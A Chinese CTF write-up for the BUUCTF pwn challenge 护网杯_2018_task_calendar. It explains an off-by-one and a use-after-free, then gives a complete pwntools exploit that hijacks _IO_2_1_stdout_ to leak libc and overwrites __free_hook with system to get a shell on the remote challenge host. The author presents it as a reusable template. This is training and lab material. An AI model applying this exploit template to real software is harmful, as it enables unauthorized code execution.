[BUUCTF-pwn] 护网杯_2018_task_calendar

劫持_IO_2_1_stdout_

程序没有show,需要劫持_IO_2_1_stdout_

程序有add,edit,free其中edit调用sub_B5F 会多读1个字符:off_by_one,由于有大小限制,通过这里释放得到unsortbin

__int64 __fastcall readstr_1(__int64 a1, signed int a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; (int)i <= a2; ++i )              // 会多读入1字符
  {
    if ( (int)read(0, &buf, 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    if ( buf == 10 )
    {
      *(_BYTE *)((int)i + a1) = 0;
      return i;
    }
    *(_BYTE *)(a1 + (int)i) = buf;
  }
  return i;
}

free函数没有清理指针

void m3free()
{
  int v0; // [rsp+Ch] [rbp-4h]

  v0 = sub_C5C();
  if ( v0 != -1 )
    free((void *)qword_202060[v0]);
}

思路:

  1. 先建4个块0x68*3+0x18 (序号从1开始)第4个一是用来防止top_chunk合并,2是在后边作doublefree控制free_hook
  2. 先将2释放进tcache,再通过1修改2的头为0xe1然后释放2 块8次进入unsortbin
  3. 这里2块有tcache预留的fd指针处是main_arena 修改2 两字节为?760 半个字节爆破,让它等于_IO_2_1_stdout_ 
  4. 再建块建到_IO_2_1_stdout_ 并用p64(0xfbad1887)+p64(0)*3+p8(0x58) 覆盖,然后它会输入_IO_file_jumps 可能得到libc
  5. 前边预留的块4 doublefree后修改为free_hook再建2次建到free_hook上,然后修改为system
  6. 释放一个带/bin/sh的块得到shell

难度不大,可以当模板用,完整exp

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 29957) 
    libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
    one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
    libc_start_main_ret = 0x21b97

menu = b"choice> "
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(b"size> ", str(size).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())

def edit(idx, size, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(b"size> ", str(size).encode())
    p.sendafter(b"info> ", msg)

def pwn():
    #context.log_level = 'debug'
    p.sendlineafter(b'input calendar name> ', b'A')
    
    add(1, 0x68)
    add(2, 0x68)
    add(3, 0x68)
    add(4, 0x18)
    free(2)
    edit(1, 0x68, b'A'*0x68 + b'\xe1')
    [free(2) for i in range(8)]
    edit(1, 0x68, b'A'*0x68 + b'\x71')

    #gdb.attach(p)
    #pause()
    #lh = int(input('lh='), 16)+1
    lh = 8
    edit(2, 1, p16(lh*0x1000 + 0x760)+b'\n') #size 1 input 2
    add(3, 0x68)
    add(3, 0x68)
    edit(3, 32, p64(0xfbad1887)+p64(0)*3+p8(0x58) ) #size 32 input 33
    
    libc_base = u64(p.recv(8)) - libc_elf.sym['_IO_file_jumps']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[0] 
    
    free(4)
    free(4)
    edit(4, 7, p64(libc_elf.sym['__free_hook']))
    add(4, 0x18)
    edit(4, 7, b'/bin/sh\x00')
    add(1, 0x18)
    edit(1, 7, p64(libc_elf.sym['system']))

    free(4)
    p.sendline(b'cat /flag')
    p.interactive()

connect()
pwn()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值